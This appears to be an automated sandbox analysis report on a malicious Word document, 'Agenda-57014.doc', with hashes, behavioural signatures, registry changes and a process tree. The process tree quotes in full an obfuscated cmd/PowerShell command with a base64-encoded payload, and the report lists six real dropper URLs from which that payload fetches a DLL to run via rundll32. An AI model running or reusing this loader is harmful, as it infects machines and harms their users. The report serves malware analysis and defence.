ace4a5bc0575d917c7d59092089a82be55031d8a4c4e7a82d2cbf094406dc02d

General

Target

Agenda-57014.doc
Size

103KB
MD5

8980f024234f9bd081c66e48cfe3ce7f
SHA1

987d37b8e6e8b473ac184d41fd9353045f91b2cd
SHA256

ace4a5bc0575d917c7d59092089a82be55031d8a4c4e7a82d2cbf094406dc02d
SHA512

4d762cdcbd82b6908947f5abe0e1e07e8337a7ae73256dcd1db6c40d1560c73c4ec82900ebd6066ff468165bca4141ddace484fc9ebbce45bcc5e40e392fe83e

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://angel2gether.de/BlutEngel/SpeechEngines/

exe.dropper

http://holonchile.cl/cgi-bin/System32/

exe.dropper

http://members.nlbformula.com/cgi-bin/Microsoft.NET/

exe.dropper

http://akybron.hu/wordpress/Triedit/

exe.dropper

https://norailya.com/drupal/4zKMm/

exe.dropper

http://giannaspsychicstudio.com/cgi-bin/Systems/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1092 1736 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

6 476 powershell.exe
8 1608 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

572 rundll32.exe
572 rundll32.exe
572 rundll32.exe
572 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1092	1736	cmd.exe

flow	pid	process
6	476	powershell.exe
8	1608	rundll32.exe

pid	process
572	rundll32.exe
572	rundll32.exe
572	rundll32.exe
572	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

rundll32.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Kehcx\mdcc.uav	rundll32.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1068 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

476 powershell.exe
476 powershell.exe
1608 rundll32.exe
1608 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 476 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1068 WINWORD.EXE
1068 WINWORD.EXE

pid	process
1068	WINWORD.EXE

pid	process
476	powershell.exe
476	powershell.exe
1608	rundll32.exe
1608	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	476	powershell.exe

pid	process
1068	WINWORD.EXE
1068	WINWORD.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1092 wrote to memory of 1664	1092	cmd.exe	msg.exe
PID 1092 wrote to memory of 1664	1092	cmd.exe	msg.exe
PID 1092 wrote to memory of 1664	1092	cmd.exe	msg.exe
PID 1092 wrote to memory of 476	1092	cmd.exe	powershell.exe
PID 1092 wrote to memory of 476	1092	cmd.exe	powershell.exe
PID 1092 wrote to memory of 476	1092	cmd.exe	powershell.exe
PID 476 wrote to memory of 932	476	powershell.exe	rundll32.exe
PID 476 wrote to memory of 932	476	powershell.exe	rundll32.exe
PID 476 wrote to memory of 932	476	powershell.exe	rundll32.exe
PID 932 wrote to memory of 572	932	rundll32.exe	rundll32.exe
PID 932 wrote to memory of 572	932	rundll32.exe	rundll32.exe
PID 932 wrote to memory of 572	932	rundll32.exe	rundll32.exe
PID 932 wrote to memory of 572	932	rundll32.exe	rundll32.exe
PID 932 wrote to memory of 572	932	rundll32.exe	rundll32.exe
PID 932 wrote to memory of 572	932	rundll32.exe	rundll32.exe
PID 932 wrote to memory of 572	932	rundll32.exe	rundll32.exe
PID 572 wrote to memory of 1608	572	rundll32.exe	rundll32.exe
PID 572 wrote to memory of 1608	572	rundll32.exe	rundll32.exe
PID 572 wrote to memory of 1608	572	rundll32.exe	rundll32.exe
PID 572 wrote to memory of 1608	572	rundll32.exe	rundll32.exe
PID 572 wrote to memory of 1608	572	rundll32.exe	rundll32.exe
PID 572 wrote to memory of 1608	572	rundll32.exe	rundll32.exe
PID 572 wrote to memory of 1608	572	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Agenda-57014.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1068

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgACQAbAB1AE4AOQBjAFgAPQBbAHQAWQBwAGUAXQAoACIAewAyAH0AewAwAH0AewAzAH0AewA0AH0AewAxAH0AIgAgAC0ARgAnAEUATQAuAEkATwAnACwAJwB5ACcALAAnAFMAWQBzAFQAJwAsACcALgBEAEkAcgBFAEMAVAAnACwAJwBPAHIAJwApACAAOwAgACAAUwBlAHQAIAAgACgAJwBMADQAYQAnACsAJwBIACcAKQAgACgAWwBUAHkAUABlAF0AKAAiAHsANgB9AHsAMgB9AHsAMAB9AHsANAB9AHsAMQB9AHsANwB9AHsANQB9AHsAMwB9ACIAIAAtAGYAJwBFACcALAAnAEUAdAAuAFMARQByAFYAaQBjAGUAcAAnACwAJwBUACcALAAnAGUAUgAnACwAJwBtAC4AbgAnACwAJwBBAE4AYQBnACcALAAnAFMAeQBTACcALAAnAG8AaQBuAHQAbQAnACkAIAAgACkAIAA7ACAAJABEAHAAXwBqAG0AYgB0AD0AJABFADcAOABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABJADAANQBRADsAJABYADUANQBOAD0AKAAnAFEANAAnACsAJwA4AEsAJwApADsAIAAgACQATAB1AE4AOQBDAFgAOgA6ACIAYwBSAGAAZQBhAFQAYABFAGQASQBSAGAARQBgAGMAdABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAAnACsAJwB9ACcAKwAnAEwAJwArACcAbQBsADMAeABiAG4AewAwACcAKwAnAH0AVQA2AGgAdwAnACsAKAAnAGcAbAAnACsAJwBuACcAKQArACcAewAwAH0AJwApAC0AZgBbAEMAaABhAHIAXQA5ADIAKQApADsAJABDADUANQBXAD0AKAAoACcATAA4ACcAKwAnADUAJwApACsAJwBXACcAKQA7ACAAKABnAEUAVAAtAFYAYQByAEkAYQBiAEwARQAgACAAKAAnAGwANABhACcAKwAnAEgAJwApACAAIAAtAFYAYQBMAFUARQBvAG4AKQA6ADoAIgBTAGUAYwBgAFUAcgBpAHQAWQBgAHAAcgBvAHQAYABPAGMAbwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABKADAAMQBNAD0AKAAnAFMANAAnACsAJwAxAEYAJwApADsAJABYADYAbABzAGkAYgBiACAAPQAgACgAJwBMAF8AJwArACcAMgBGACcAKQA7ACQAWAA1ADQAUAA9ACgAJwBHADYAJwArACcAXwBZACcAKQA7ACQAUgA3ADIANQAzAG8AZQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAJwArACgAJwBtACcAKwAnAGwAMwB4AGIAJwArACcAbgAnACkAKwAnAHsAMAAnACsAJwB9AFUANgBoAHcAZwBsACcAKwAnAG4AJwArACcAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAEYAIAAgAFsAQwBoAEEAcgBdADkAMgApACsAJABYADYAbABzAGkAYgBiACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABWADMAOQBZAD0AKAAnAFEANgAnACsAJwA2AEUAJwApADsAJABYAGwAdwB2AGwAaAA2AD0AKAAnAHcAJwArACcAXQAnACsAKAAnAHgAbQBbACcAKwAnAHYAOgAnACkAKwAoACcALwAvACcAKwAnAGEAJwApACsAKAAnAG4AZwAnACsAJwBlAGwAMgBnACcAKQArACgAJwBlAHQAJwArACcAaAAnACkAKwAnAGUAcgAnACsAKAAnAC4AZAAnACsAJwBlAC8AQgBsACcAKQArACcAdQB0ACcAKwAnAEUAJwArACgAJwBuAGcAZQAnACsAJwBsACcAKQArACgAJwAvAFMAcABlAGUAJwArACcAYwBoAEUAJwArACcAbgAnACkAKwAoACcAZwBpAG4AZQBzACcAKwAnAC8AQAAnACsAJwB3AF0AeABtAFsAdgA6ACcAKQArACcALwAnACsAKAAnAC8AaABvAGwAJwArACcAbwBuACcAKQArACcAYwAnACsAKAAnAGgAJwArACcAaQAnACsAJwBsAGUALgAnACsAJwBjAGwALwBjAGcAJwArACcAaQAtAGIAJwArACcAaQBuAC8AUwB5ACcAKQArACgAJwBzAHQAJwArACcAZQBtACcAKQArACgAJwAzADIAJwArACcALwBAAHcAJwApACsAKAAnAF0AJwArACcAeABtACcAKQArACgAJwBbACcAKwAnAHYAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAG0AZQBtAGIAZQAnACsAJwByACcAKQArACgAJwBzAC4AJwArACcAbgAnACkAKwAoACcAbABiAGYAbwAnACsAJwByAG0AdQBsACcAKwAnAGEALgBjAG8AbQAvAGMAJwArACcAZwAnACkAKwAoACcAaQAnACsAJwAtAGIAJwApACsAKAAnAGkAbgAvACcAKwAnAE0AJwApACsAKAAnAGkAYwByAG8AcwAnACsAJwBvACcAKQArACcAZgB0ACcAKwAnAC4AJwArACgAJwBOAEUAVAAnACsAJwAvACcAKwAnAEAAdwAnACkAKwAnAF0AJwArACcAeAAnACsAKAAnAG0AJwArACcAWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAYQBrACcAKwAnAHkAJwApACsAKAAnAGIAcgAnACsAJwBvAG4AJwApACsAJwAuACcAKwAnAGgAdQAnACsAKAAnAC8AdwAnACsAJwBvACcAKQArACgAJwByACcAKwAnAGQAcAByACcAKwAnAGUAcwBzACcAKwAnAC8AVAByAGkAZQBkAGkAJwApACsAKAAnAHQALwAnACsAJwBAACcAKQArACcAdwAnACsAKAAnAF0AJwArACcAeABtAFsAdgAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwBuAG8AcgAnACsAJwBhAGkAbAAnACkAKwAoACcAeQAnACsAJwBhAC4AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAC8AZAAnACsAJwByACcAKwAnAHUAcAAnACsAJwBhAGwAJwArACcALwA0AHoASwBNAG0ALwBAAHcAXQAnACsAJwB4AG0AJwApACsAKAAnAFsAJwArACcAdgAnACsAJwA6AC8ALwBnAGkAYQAnACsAJwBuAG4AYQBzACcAKQArACcAcABzACcAKwAnAHkAYwAnACsAKAAnAGgAaQAnACsAJwBjACcAKQArACgAJwBzAHQAJwArACcAdQAnACkAKwAoACcAZAAnACsAJwBpAG8AJwApACsAJwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACgAJwBjACcAKwAnAGcAaQAtAGIAaQAnACkAKwAoACcAbgAvACcAKwAnAFMAeQAnACkAKwAnAHMAdAAnACsAJwBlAG0AJwArACcAcwAnACsAJwAvACcAKQAuACIAUgBFAGAAcABMAGEAYABDAGUAIgAoACgAJwB3ACcAKwAoACcAXQAnACsAJwB4AG0AWwAnACkAKwAnAHYAJwApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAJwArACgAJwBzAGUAJwArACcAdwBmACcAKQApACwAKAAoACcAdwBlACcAKwAnAHYAJwApACsAJwB3AGUAJwApACkALAAoACgAJwBhAGUAJwArACcAZgAnACkAKwAnAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAcwBQAEwAYABJAHQAIgAoACQAQwA1AF8ATAAgACsAIAAkAEQAcABfAGoAbQBiAHQAIAArACAAJABIADQANQBJACkAOwAkAEUAMwAyAFQAPQAoACcAQQA1ACcAKwAnADkASAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEwAegBfAGMANgBwADIAIABpAG4AIAAkAFgAbAB3AHYAbABoADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOACcAKwAnAGUAdwAnACsAJwAtAE8AYgBqAGUAJwArACcAYwB0ACcAKQAgAFMAWQBTAFQARQBtAC4AbgBFAFQALgBXAEUAQgBDAEwASQBFAG4AVAApAC4AIgBkAGAATwB3AGAATgBsAG8AQQBkAGAARgBpAGwAZQAiACgAJABMAHoAXwBjADYAcAAyACwAIAAkAFIANwAyADUAMwBvAGUAKQA7ACQAVwAwADIAQgA9ACgAKAAnAE0ANgAnACsAJwAyACcAKQArACcAVQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAUgA3ADIANQAzAG8AZQApAC4AIgBMAGAAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMwA5ADAANwAyACkAIAB7ACYAKAAnAHIAdQBuACcAKwAnAGQAbABsADMAMgAnACkAIAAkAFIANwAyADUAMwBvAGUALAAoACcAUwAnACsAKAAnAGgAJwArACcAbwB3ACcAKQArACcARABpACcAKwAoACcAYQAnACsAJwBsAG8AZwBBACcAKQApAC4AIgBUAG8AcwB0AFIAYABJAGAATgBHACIAKAApADsAJABLAF8AMgBBAD0AKAAnAEwAMAAnACsAJwAxAEgAJwApADsAYgByAGUAYQBrADsAJABDADcAXwBHAD0AKAAoACcAQgAnACsAJwAxADQAJwApACsAJwBMACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwAzADEARgA9ACgAJwBJAF8AJwArACcAMgBDACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1092

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:1664

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IAAgACQAbAB1AE4AOQBjAFgAPQBbAHQAWQBwAGUAXQAoACIAewAyAH0AewAwAH0AewAzAH0AewA0AH0AewAxAH0AIgAgAC0ARgAnAEUATQAuAEkATwAnACwAJwB5ACcALAAnAFMAWQBzAFQAJwAsACcALgBEAEkAcgBFAEMAVAAnACwAJwBPAHIAJwApACAAOwAgACAAUwBlAHQAIAAgACgAJwBMADQAYQAnACsAJwBIACcAKQAgACgAWwBUAHkAUABlAF0AKAAiAHsANgB9AHsAMgB9AHsAMAB9AHsANAB9AHsAMQB9AHsANwB9AHsANQB9AHsAMwB9ACIAIAAtAGYAJwBFACcALAAnAEUAdAAuAFMARQByAFYAaQBjAGUAcAAnACwAJwBUACcALAAnAGUAUgAnACwAJwBtAC4AbgAnACwAJwBBAE4AYQBnACcALAAnAFMAeQBTACcALAAnAG8AaQBuAHQAbQAnACkAIAAgACkAIAA7ACAAJABEAHAAXwBqAG0AYgB0AD0AJABFADcAOABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABJADAANQBRADsAJABYADUANQBOAD0AKAAnAFEANAAnACsAJwA4AEsAJwApADsAIAAgACQATAB1AE4AOQBDAFgAOgA6ACIAYwBSAGAAZQBhAFQAYABFAGQASQBSAGAARQBgAGMAdABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAAnACsAJwB9ACcAKwAnAEwAJwArACcAbQBsADMAeABiAG4AewAwACcAKwAnAH0AVQA2AGgAdwAnACsAKAAnAGcAbAAnACsAJwBuACcAKQArACcAewAwAH0AJwApAC0AZgBbAEMAaABhAHIAXQA5ADIAKQApADsAJABDADUANQBXAD0AKAAoACcATAA4ACcAKwAnADUAJwApACsAJwBXACcAKQA7ACAAKABnAEUAVAAtAFYAYQByAEkAYQBiAEwARQAgACAAKAAnAGwANABhACcAKwAnAEgAJwApACAAIAAtAFYAYQBMAFUARQBvAG4AKQA6ADoAIgBTAGUAYwBgAFUAcgBpAHQAWQBgAHAAcgBvAHQAYABPAGMAbwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABKADAAMQBNAD0AKAAnAFMANAAnACsAJwAxAEYAJwApADsAJABYADYAbABzAGkAYgBiACAAPQAgACgAJwBMAF8AJwArACcAMgBGACcAKQA7ACQAWAA1ADQAUAA9ACgAJwBHADYAJwArACcAXwBZACcAKQA7ACQAUgA3ADIANQAzAG8AZQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAJwArACgAJwBtACcAKwAnAGwAMwB4AGIAJwArACcAbgAnACkAKwAnAHsAMAAnACsAJwB9AFUANgBoAHcAZwBsACcAKwAnAG4AJwArACcAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAEYAIAAgAFsAQwBoAEEAcgBdADkAMgApACsAJABYADYAbABzAGkAYgBiACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABWADMAOQBZAD0AKAAnAFEANgAnACsAJwA2AEUAJwApADsAJABYAGwAdwB2AGwAaAA2AD0AKAAnAHcAJwArACcAXQAnACsAKAAnAHgAbQBbACcAKwAnAHYAOgAnACkAKwAoACcALwAvACcAKwAnAGEAJwApACsAKAAnAG4AZwAnACsAJwBlAGwAMgBnACcAKQArACgAJwBlAHQAJwArACcAaAAnACkAKwAnAGUAcgAnACsAKAAnAC4AZAAnACsAJwBlAC8AQgBsACcAKQArACcAdQB0ACcAKwAnAEUAJwArACgAJwBuAGcAZQAnACsAJwBsACcAKQArACgAJwAvAFMAcABlAGUAJwArACcAYwBoAEUAJwArACcAbgAnACkAKwAoACcAZwBpAG4AZQBzACcAKwAnAC8AQAAnACsAJwB3AF0AeABtAFsAdgA6ACcAKQArACcALwAnACsAKAAnAC8AaABvAGwAJwArACcAbwBuACcAKQArACcAYwAnACsAKAAnAGgAJwArACcAaQAnACsAJwBsAGUALgAnACsAJwBjAGwALwBjAGcAJwArACcAaQAtAGIAJwArACcAaQBuAC8AUwB5ACcAKQArACgAJwBzAHQAJwArACcAZQBtACcAKQArACgAJwAzADIAJwArACcALwBAAHcAJwApACsAKAAnAF0AJwArACcAeABtACcAKQArACgAJwBbACcAKwAnAHYAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAG0AZQBtAGIAZQAnACsAJwByACcAKQArACgAJwBzAC4AJwArACcAbgAnACkAKwAoACcAbABiAGYAbwAnACsAJwByAG0AdQBsACcAKwAnAGEALgBjAG8AbQAvAGMAJwArACcAZwAnACkAKwAoACcAaQAnACsAJwAtAGIAJwApACsAKAAnAGkAbgAvACcAKwAnAE0AJwApACsAKAAnAGkAYwByAG8AcwAnACsAJwBvACcAKQArACcAZgB0ACcAKwAnAC4AJwArACgAJwBOAEUAVAAnACsAJwAvACcAKwAnAEAAdwAnACkAKwAnAF0AJwArACcAeAAnACsAKAAnAG0AJwArACcAWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAYQBrACcAKwAnAHkAJwApACsAKAAnAGIAcgAnACsAJwBvAG4AJwApACsAJwAuACcAKwAnAGgAdQAnACsAKAAnAC8AdwAnACsAJwBvACcAKQArACgAJwByACcAKwAnAGQAcAByACcAKwAnAGUAcwBzACcAKwAnAC8AVAByAGkAZQBkAGkAJwApACsAKAAnAHQALwAnACsAJwBAACcAKQArACcAdwAnACsAKAAnAF0AJwArACcAeABtAFsAdgAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwBuAG8AcgAnACsAJwBhAGkAbAAnACkAKwAoACcAeQAnACsAJwBhAC4AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAC8AZAAnACsAJwByACcAKwAnAHUAcAAnACsAJwBhAGwAJwArACcALwA0AHoASwBNAG0ALwBAAHcAXQAnACsAJwB4AG0AJwApACsAKAAnAFsAJwArACcAdgAnACsAJwA6AC8ALwBnAGkAYQAnACsAJwBuAG4AYQBzACcAKQArACcAcABzACcAKwAnAHkAYwAnACsAKAAnAGgAaQAnACsAJwBjACcAKQArACgAJwBzAHQAJwArACcAdQAnACkAKwAoACcAZAAnACsAJwBpAG8AJwApACsAJwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACgAJwBjACcAKwAnAGcAaQAtAGIAaQAnACkAKwAoACcAbgAvACcAKwAnAFMAeQAnACkAKwAnAHMAdAAnACsAJwBlAG0AJwArACcAcwAnACsAJwAvACcAKQAuACIAUgBFAGAAcABMAGEAYABDAGUAIgAoACgAJwB3ACcAKwAoACcAXQAnACsAJwB4AG0AWwAnACkAKwAnAHYAJwApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAJwArACgAJwBzAGUAJwArACcAdwBmACcAKQApACwAKAAoACcAdwBlACcAKwAnAHYAJwApACsAJwB3AGUAJwApACkALAAoACgAJwBhAGUAJwArACcAZgAnACkAKwAnAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAcwBQAEwAYABJAHQAIgAoACQAQwA1AF8ATAAgACsAIAAkAEQAcABfAGoAbQBiAHQAIAArACAAJABIADQANQBJACkAOwAkAEUAMwAyAFQAPQAoACcAQQA1ACcAKwAnADkASAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEwAegBfAGMANgBwADIAIABpAG4AIAAkAFgAbAB3AHYAbABoADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOACcAKwAnAGUAdwAnACsAJwAtAE8AYgBqAGUAJwArACcAYwB0ACcAKQAgAFMAWQBTAFQARQBtAC4AbgBFAFQALgBXAEUAQgBDAEwASQBFAG4AVAApAC4AIgBkAGAATwB3AGAATgBsAG8AQQBkAGAARgBpAGwAZQAiACgAJABMAHoAXwBjADYAcAAyACwAIAAkAFIANwAyADUAMwBvAGUAKQA7ACQAVwAwADIAQgA9ACgAKAAnAE0ANgAnACsAJwAyACcAKQArACcAVQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAUgA3ADIANQAzAG8AZQApAC4AIgBMAGAAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMwA5ADAANwAyACkAIAB7ACYAKAAnAHIAdQBuACcAKwAnAGQAbABsADMAMgAnACkAIAAkAFIANwAyADUAMwBvAGUALAAoACcAUwAnACsAKAAnAGgAJwArACcAbwB3ACcAKQArACcARABpACcAKwAoACcAYQAnACsAJwBsAG8AZwBBACcAKQApAC4AIgBUAG8AcwB0AFIAYABJAGAATgBHACIAKAApADsAJABLAF8AMgBBAD0AKAAnAEwAMAAnACsAJwAxAEgAJwApADsAYgByAGUAYQBrADsAJABDADcAXwBHAD0AKAAoACcAQgAnACsAJwAxADQAJwApACsAJwBMACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwAzADEARgA9ACgAJwBJAF8AJwArACcAMgBDACcAKQA=
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:476

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Lml3xbn\U6hwgln\L_2F.dll ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:932

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Lml3xbn\U6hwgln\L_2F.dll ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:572

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kehcx\mdcc.uav",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1608

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Lml3xbn\U6hwgln\L_2F.dll

MD5
f042aced286331763cdb67db10c95abd

SHA1
e47e2ef8282f7069319088c97c86926b3e365a86

SHA256
3c40db1a572ea268fced05f6d66165f8d4d593e920761e2383f019000c75a858

SHA512
690f1d44de04172073b4dcec45dbdb1a8cd3517e516e37648e136bd7b51e605baa38bd657a413329e451130d108a0498e642c2124fe9b3cd6cd1fee80adcc45e

Download Submit
\Users\Admin\Lml3xbn\U6hwgln\L_2F.dll

MD5
f042aced286331763cdb67db10c95abd

SHA1
e47e2ef8282f7069319088c97c86926b3e365a86

SHA256
3c40db1a572ea268fced05f6d66165f8d4d593e920761e2383f019000c75a858

SHA512
690f1d44de04172073b4dcec45dbdb1a8cd3517e516e37648e136bd7b51e605baa38bd657a413329e451130d108a0498e642c2124fe9b3cd6cd1fee80adcc45e

Download Submit
\Users\Admin\Lml3xbn\U6hwgln\L_2F.dll

MD5
f042aced286331763cdb67db10c95abd

SHA1
e47e2ef8282f7069319088c97c86926b3e365a86

SHA256
3c40db1a572ea268fced05f6d66165f8d4d593e920761e2383f019000c75a858

SHA512
690f1d44de04172073b4dcec45dbdb1a8cd3517e516e37648e136bd7b51e605baa38bd657a413329e451130d108a0498e642c2124fe9b3cd6cd1fee80adcc45e

Download Submit
\Users\Admin\Lml3xbn\U6hwgln\L_2F.dll

MD5
f042aced286331763cdb67db10c95abd

SHA1
e47e2ef8282f7069319088c97c86926b3e365a86

SHA256
3c40db1a572ea268fced05f6d66165f8d4d593e920761e2383f019000c75a858

SHA512
690f1d44de04172073b4dcec45dbdb1a8cd3517e516e37648e136bd7b51e605baa38bd657a413329e451130d108a0498e642c2124fe9b3cd6cd1fee80adcc45e

Download Submit
\Users\Admin\Lml3xbn\U6hwgln\L_2F.dll

MD5
f042aced286331763cdb67db10c95abd

SHA1
e47e2ef8282f7069319088c97c86926b3e365a86

SHA256
3c40db1a572ea268fced05f6d66165f8d4d593e920761e2383f019000c75a858

SHA512
690f1d44de04172073b4dcec45dbdb1a8cd3517e516e37648e136bd7b51e605baa38bd657a413329e451130d108a0498e642c2124fe9b3cd6cd1fee80adcc45e

Download Submit
memory/428-22-0x000007FEF6B90000-0x000007FEF6E0A000-memory.dmp

Filesize
2.5MB

Download
memory/476-7-0x0000000001E30000-0x0000000001E31000-memory.dmp

Filesize
4KB

Download
memory/476-6-0x000007FEF5C90000-0x000007FEF667C000-memory.dmp

Filesize
9.9MB

Download
memory/476-10-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/476-11-0x000000001B880000-0x000000001B881000-memory.dmp

Filesize
4KB

Download
memory/476-5-0x0000000000000000-mapping.dmp

Download
memory/476-13-0x000000001C6B0000-0x000000001C6B1000-memory.dmp

Filesize
4KB

Download
memory/476-9-0x0000000002670000-0x0000000002671000-memory.dmp

Filesize
4KB

Download
memory/476-8-0x000000001AB90000-0x000000001AB91000-memory.dmp

Filesize
4KB

Download
memory/572-16-0x0000000000000000-mapping.dmp

Download
memory/932-14-0x0000000000000000-mapping.dmp

Download
memory/1068-2-0x0000000000582000-0x0000000000586000-memory.dmp

Filesize
16KB

Download
memory/1068-12-0x0000000000720000-0x0000000000721000-memory.dmp

Filesize
